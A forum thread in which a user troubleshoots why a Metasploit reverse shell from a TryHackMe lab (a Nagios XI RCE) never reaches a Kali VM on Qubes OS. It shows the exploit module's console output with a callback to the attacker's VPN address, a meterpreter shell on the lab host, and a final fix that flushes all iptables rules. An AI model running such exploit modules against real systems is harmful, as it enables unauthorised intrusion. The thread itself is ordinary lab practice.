Issue with reverse shell on Kali via VPN from TryHackMe lab

MilitantDK · December 26, 2021, 12:19pm

Hi everyone,

I have just installed the Kali template and I am testing TryHackMe via OpenVPN.

For 1 purpose, I still need the attackbox, because, even with my vpn connected on my kali vm, I cannot get a reverse shell from the vulnerable server in the lab to my Kali.

Anyone have any experience in this as it is probably obvious (not seeing the forest because of all the trees)

As an example, the lab “Nax” is a nagiosxi server with an RCE and when executing the exploit it just times out. I have tried both my Kali IP-addresses to no avail.:
network:
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:16:3e:5e:6c:00 brd ff:ff:ff:ff:ff:ff
inet 10.137.0.18/32 brd 10.255.255.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fe5e:6c00/64 scope link
valid_lft forever preferred_lft forever
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
link/none
inet 10.11.58.193/16 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::dfab:5a9d:e2d7:69b3/64 scope link stable-privacy
valid_lft forever preferred_lft forever

msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set RHOSTS 10.10.20.15
RHOSTS => 10.10.20.15
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set PASSWORD XXXX
PASSWORD => XXXX
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set LHOST 10.11.58.193
LHOST => 10.11.58.193
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > run

[] Started reverse TCP handler on 10.11.58.193:4444
[] Running automatic check (“set AutoCheck false” to disable)
[] Attempting to authenticate to Nagios XI…
[+] Successfully authenticated to Nagios XI
[] Target is Nagios XI with version 5.5.6
[+] The target appears to be vulnerable.
[] Uploading malicious ‘check_ping’ plugin…
[] Command Stager progress - 100.00% done (897/897 bytes)
[+] Successfully uploaded plugin.
[] Executing plugin…
[] Waiting up to 300 seconds for the plugin to request the final payload…
[] Deleting malicious ‘check_ping’ plugin…
[+] Plugin deleted.
[] Exploit completed, but no session was created.
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set LHOST 10.137.0.18
LHOST => 10.137.0.18
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > run

[] Started reverse TCP handler on 10.137.0.18:4444
[] Running automatic check (“set AutoCheck false” to disable)
[] Attempting to authenticate to Nagios XI…
[+] Successfully authenticated to Nagios XI
[] Target is Nagios XI with version 5.5.6
[+] The target appears to be vulnerable.
[] Uploading malicious ‘check_ping’ plugin…
[] Command Stager progress - 100.00% done (897/897 bytes)
[+] Successfully uploaded plugin.
[] Executing plugin…
[] Waiting up to 300 seconds for the plugin to request the final payload…
[] Deleting malicious ‘check_ping’ plugin…
[+] Plugin deleted.
[] Exploit completed, but no session was created.
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) >

ppc · December 26, 2021, 12:57pm

have you make sure that not your skill problem?

MilitantDK · December 26, 2021, 1:04pm

I have it working in AttackBox, so the exploit and methodology works. It hardly takes skills to run metasploit, although the exploits quality varies. But maybe some skills in updating routes on my local Kali, if this is the issue. Do you have an y experience with this issue and resolved it?

Thanks for the input.

Sincerely
Max

ppc · December 26, 2021, 1:19pm

not really
anyway, there might 2 causes for this:

the qubes inter-networking is nat
the sys-firewall rule block incoming connection (not in the gui)
for the 2, i’m not sure how to fix it, try iptables -I INPUT -j ACCEPT in sys-firewall

MilitantDK · December 26, 2021, 3:33pm

Hi,

Thank you for your reply.

The solution you are pointing to is if I run a separate VPN VM, right?

As I understand it:
Establishing an openvpn connection from my Kali VM directly to TryHackMe VPN-server, there should not be any newly built connections going back through the sys-firewall, right(everything should be tunneled in both directions unless there are some local firewall going on)?

Or am I misunderstanding the power of sys-firewall decrypting my VPN tunnel from Kali → TryHackMe?

Sincerely
Max

ppc · December 27, 2021, 1:25am

no, it invoke using incoming connection which is blocked

i’m not sure it it even encrypted

MilitantDK · December 28, 2021, 9:16pm

Hi all,

The traffic is getting through the tunnel(tun0) reaching my AppVM (I can see the SYN packets in tshark as described below), but no SYN-ACK returns on my SYN, so I seem to be having issues like this guy: https://forums.openvpn.net/viewtopic.php?t=22217

I created a local webserver on my AppVM port 8888:
┌──(user㉿kali-max)-[~]
└─$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) …

I got bind shell on port 4444 on server on TryHackMe and tested connection to my IP(tun0):
meterpreter > shell
Process 31341 created.
Channel 1 created.
nmap -Pn -p8888 10.11.58.193

Starting Nmap 7.01 ( https://nmap.org ) at 2021-12-28 12:57 PST
Nmap scan report for ip-10-11-58-193.eu-west-1.compute.internal (10.11.58.193)
Host is up.
PORT STATE SERVICE
8888/tcp filtered sun-answerbook

Nmap done: 1 IP address (1 host up) scanned in 2.03 seconds

Had tshark running in another terminal and got the SYN’s through to Kali but no SYN-ACK in return and my local webserver got no packets?

1820 1434.698542113 10.10.151.20 → 10.11.58.193 TCP 44 50860 → 8888 [SYN] Seq=0 Win=1024 Len=0 MSS=1285
1821 1434.717713333 10.10.151.20 → 10.11.58.193 TCP 248 4444 → 43083 [PSH, ACK] Seq=3390 Ack=986662 Win=703360 Len=208
1822 1434.717761081 10.11.58.193 → 10.10.151.20 TCP 40 43083 → 4444 [ACK] Seq=986662 Ack=3598 Win=64128 Len=0
1823 1435.767324314 10.10.151.20 → 10.11.58.193 TCP 44 50861 → 8888 [SYN] Seq=0 Win=1024 Len=0 MSS=1285
1824 1436.789988942 10.10.151.20 → 10.11.58.193 TCP 264 4444 → 43083 [PSH, ACK] Seq=3598 Ack=986662 Win=703360 Len=224
1825 1436.790022793 10.11.58.193 → 10.10.151.20 TCP 40 43083 → 4444 [ACK] Seq=986662 Ack=3822 Win=64128 Len=0
1826 1436.831828025 10.10.151.20 → 10.11.58.193 TCP 616 4444 → 43083 [PSH, ACK] Seq=3822 Ack=986662 Win=703360 Len=576
1827 1436.831847677 10.11.58.193 → 10.10.151.20 TCP 40 43083 → 4444 [ACK] Seq=986662 Ack=4398 Win=64128 Len=0
1828 1496.962838524 10.11.58.193 → 10.10.151.20 TCP 168 43083 → 4444 [PSH, ACK] Seq=986662 Ack=4398 Win=64128 Len=128
1829 1497.004883384 10.10.151.20 → 10.11.58.193 TCP 184 4444 → 43083 [PSH, ACK] Seq=4398 Ack=986790 Win=703360 Len=144
1830 1497.004939411 10.11.58.193 → 10.10.151.20 TCP 40 43083 → 4444 [ACK] Seq=986790 Ack=4542 Win=64128 Len=0
1831 1557.135018450 10.11.58.193 → 10.10.151.20 TCP 168 43083 → 4444 [PSH, ACK] Seq=986790 Ack=4542 Win=64128 Len=128
1832 1557.176356487 10.10.151.20 → 10.11.58.193 TCP 184 4444 → 43083 [PSH, ACK] Seq=4542 Ack=986918 Win=703360 Len=144
1833 1557.176479298 10.11.58.193 → 10.10.151.20 TCP 40 43083 → 4444 [ACK] Seq=986918 Ack=4686 Win=64128 Len=0
1834 1617.317602075 10.11.58.193 → 10.10.151.20 TCP 168 43083 → 4444 [PSH, ACK] Seq=986918 Ack=4686 Win=64128 Len=128
1835 1617.366295896 10.10.151.20 → 10.11.58.193 TCP 184 4444 → 43083 [PSH, ACK] Seq=4686 Ack=987046 Win=703360 Len=144
1836 1617.366352692 10.11.58.193 → 10.10.151.20 TCP 40 43083 → 4444 [ACK] Seq=987046 Ack=4830 Win=64128 Len=0

When I of course connect to the lab server on TryHackMe I got both SYN, SYN-ACK and ACK as I should.
1 0.000000000 10.11.58.193 → 10.10.151.20 TCP 168 43083 → 4444 [PSH, ACK] Seq=1 Ack=1 Win=501 Len=128
2 0.051599370 10.10.151.20 → 10.11.58.193 TCP 184 4444 → 43083 [PSH, ACK] Seq=1 Ack=129 Win=5495 Len=144
3 0.051661923 10.11.58.193 → 10.10.151.20 TCP 40 43083 → 4444 [ACK] Seq=129 Ack=145 Win=501 Len=0
4 54.206583385 10.11.58.193 → 10.10.151.20 TCP 52 37064 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 WS=128
** 5 54.247948049 10.10.151.20 → 10.11.58.193 TCP 52 80 → 37064 [SYN, ACK] Seq=0 Ack=1 Win=26883 Len=0 MSS=1285 SACK_PERM=1 WS=128**
** 6 54.248085143 10.11.58.193 → 10.10.151.20 TCP 40 37064 → 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0**
** 7 54.248267267 10.11.58.193 → 10.10.151.20 TCP 40 37064 → 80 [RST, ACK] Seq=1 Ack=1 Win=64256 Len=0**

Any clues on how to get those packets received on the AppVM kernel through to the application on the same AppVM?

Sincerely
Max

CaesarVialpando · December 28, 2021, 10:40pm

He is using openvpn, it is encrypted.

CaesarVialpando · December 28, 2021, 10:43pm

Can you try apache instead of python3? Then check the log file.

MilitantDK · December 29, 2021, 9:33am

Hi Caesar,

Problem solved. So simple it is embarrassing

I followed this guide to disable the local firewall on my Kali VM, but apparently installing ufw, stoppong and disabling the service is not sufficient on my QubesOS AppVM. Should have tested this first.

I cleaned out all rules manually and problem solved. I was under the impression that firewalls stop enforcing when you stop the firewall service, but I learned something new today. Took some time and I am sorry to have bothered you with such a trivial challenge.

I have no non-QubesOS Kali to test with, so I don’t know if it is Qubes specific, but I will investigate later.

Thank you all for your time.

Sincerely
Max
reference:

ufw issue:
──(user㉿kali-max)-[~]
└─$ sudo ufw disable
Firewall stopped and disabled on system startup

┌──(user㉿kali-max)-[~]
└─$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP all – anywhere anywhere state INVALID
DROP udp – anywhere anywhere udp dpt:bootpc
ACCEPT all – anywhere anywhere ctstate RELATED,ESTABLISHED
ACCEPT icmp – anywhere anywhere
ACCEPT all – anywhere anywhere
REJECT all – anywhere anywhere reject-with icmp-host-prohibited
DROP all – anywhere anywhere

Chain FORWARD (policy ACCEPT)
target prot opt source destination
DROP all – anywhere anywhere state INVALID
ACCEPT all – anywhere anywhere ctstate RELATED,ESTABLISHED
QBS-FORWARD all – anywhere anywhere
DROP all – anywhere anywhere
ACCEPT all – anywhere anywhere
DROP all – anywhere anywhere

Chain OUTPUT (policy ACCEPT)
target prot opt source destination

Chain QBS-FORWARD (1 references)
target prot opt source destination

┌──(user㉿kali-max)-[~]
└─$

Problem resolution:
┌──(root💀kali-max)-[~]
└─# iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -t nat -F
iptables -t mangle -F
iptables -F
iptables -X

┌──(root💀kali-max)-[~]
└─# iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination

┌──(user㉿kali-max)-[~]
└─$ sudo tshark -itun0
Running as user “root” and group “root”. This could be dangerous.
Capturing on ‘tun0’
** (tshark:3672) 03:47:05.461425 [Main MESSAGE] – Capture started.
** (tshark:3672) 03:47:05.461493 [Main MESSAGE] – File: “/tmp/wireshark_tun05393E1.pcapng”
snip
442 689.641839995 10.11.58.193 → 10.10.72.134 TCP 52 37983 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 WS=128
443 689.687301509 10.10.72.134 → 10.11.58.193 TCP 52 80 → 37983 [SYN, ACK] Seq=0 Ack=1 Win=26883 Len=0 MSS=1285 SACK_PERM=1 WS=128
444 689.687327353 10.11.58.193 → 10.10.72.134 TCP 40 37983 → 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0
snip